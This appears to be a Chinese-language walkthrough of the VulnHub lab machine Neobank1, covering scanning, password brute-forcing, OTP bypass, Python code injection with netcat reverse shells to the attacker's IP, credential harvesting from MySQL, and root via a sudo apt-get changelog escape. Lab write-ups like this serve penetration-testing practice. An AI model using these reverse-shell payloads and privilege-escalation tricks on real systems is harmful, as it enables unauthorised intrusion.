vulnhub:Neobank1
渗透过程
0x01 信息收集
主机发现
nmap主机发现,锁定靶机ip:192.168.56.143。
nmap 192.168.56.0/24 -Pn
全端口扫描,仅开放5000端口。

目录扫描
访问5000端口,登录页面,邮件+密码的登录方式。

目录扫描找邮箱和密码的线索。
gobuster dir -u "http://192.168.56.143:5000/" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .zip,.txt,.html,.php

/otp和/qr路径需要登录才能访问。在/email_list中得到email列表。

登录密码爆破
抓包爆破。

payload1,加载通过目录扫描泄漏的邮箱。

payload2密码部分,根据作者提示,是数字密码,盲猜是6位的数字密码。
最终得到zeus@neobank.vln/246810
登录后,/otp页面如下,提示需要输入验证码。

/qr,二维码,两者结合大概就是通过二维码获得验证码?

Authenticator
微信扫码,在线扫描网站,浏览器插件扫描都没有结果。找了wp,说的是需要使用微软的软件Authenticator,用该软件扫描即可得到6位数的一次性验证码,30s更新。
输入扫描获得的验证码。看到输入框,估计是命令执行。

0x02 命令执行
命令执行,网站是python语言写的,尝试了几种python反弹shell,最终发现使用python内置函数__import__的的方式导入os模块来反弹shell。
__import__('os').system('nc -e /bin/bash 192.168.56.109 8888')

反弹成功。

获得简单tty。
which python
python -c 'import pty; pty.spawn("/bin/bash")'
start.sh,root用户创建,看脚本内容执行了python3 main.py,猜测是定时任务,并且我们有权限修改main.py的内容,赌一下到底是不是定时任务。

往main.py中写入反弹shell,最终失败了。
echo "import os;os.system('nc -e /bin/bash 192.168.56.109 7777')" >> main.py
0x03 数据库连接
/home目录下有banker用户目录,目录下文件无权限查看,结构如下:

有数据库,本地连接。

在~/html/main.py中找到数据用户名密码banker/neobank1

登录Mysql。

banker用户密码:adv1se.me

get user.txt

0x04 提权
sudo -l

查询提权命令。
sudo apt-get changelog apt
!/bin/sh
root.txt.

更多推荐
所有评论(0)